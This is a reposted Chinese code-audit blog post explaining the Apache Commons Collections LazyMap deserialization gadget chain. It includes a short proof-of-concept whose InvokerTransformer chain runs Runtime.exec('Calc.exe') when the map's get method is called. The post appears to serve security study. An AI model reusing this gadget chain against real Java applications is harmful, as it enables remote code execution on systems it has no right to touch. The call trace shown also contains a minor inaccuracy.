0


Java代码审计——Commons Collections LazyMap调用链

0x00 前言

反序列化总纲

CC链迭代链:Java代码审计——Commons Collections 迭代调用链
除开:Java审计——Commons Collections TransformedMap调用链,还有一条LazyMap调用链可以利用。

0x01 LazyMap调用链

在CC包中,除了TransformedMap之外,还有一个LazyMap也可以去触发迭代链。触发的方式是通过get的方式进行触发。
在这里插入图片描述
同样和TransformedMap一样,基础的赋值也是由decorate完成的。
在这里插入图片描述

1. 先上POC

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{ null, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class},new String[]{"Calc.exe"}),};
Transformer transformerChain = new
        ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
outerMap.put("zeo","666");
outerMap.get("zep");

这里我们还是通过decorate赋值,然后通过get进行触发。
get触发过程:

  • get - LazyMap.class - get - this.factory.transform(key) - TransformedMap.transformValue- ChainedTransformer.transform- 迭代链 - InvokerTransformertransform- …

在这里插入图片描述

2.总结

实际上不论是TransformedMap或者是LazyMap调用链,最主要的逻辑还是去触发Transform方法。

0x03 使用条件

  • 除最新版本无限制

0x04 要点笔记

  • LazyMap通过get来进行触发
标签: Java代码审计

本文转载自: https://blog.csdn.net/qq_36869808/article/details/121213016
版权归原作者 王嘟嘟_ 所有, 如有侵权,请联系我们删除。

“Java代码审计——Commons Collections LazyMap调用链”的评论:

还没有评论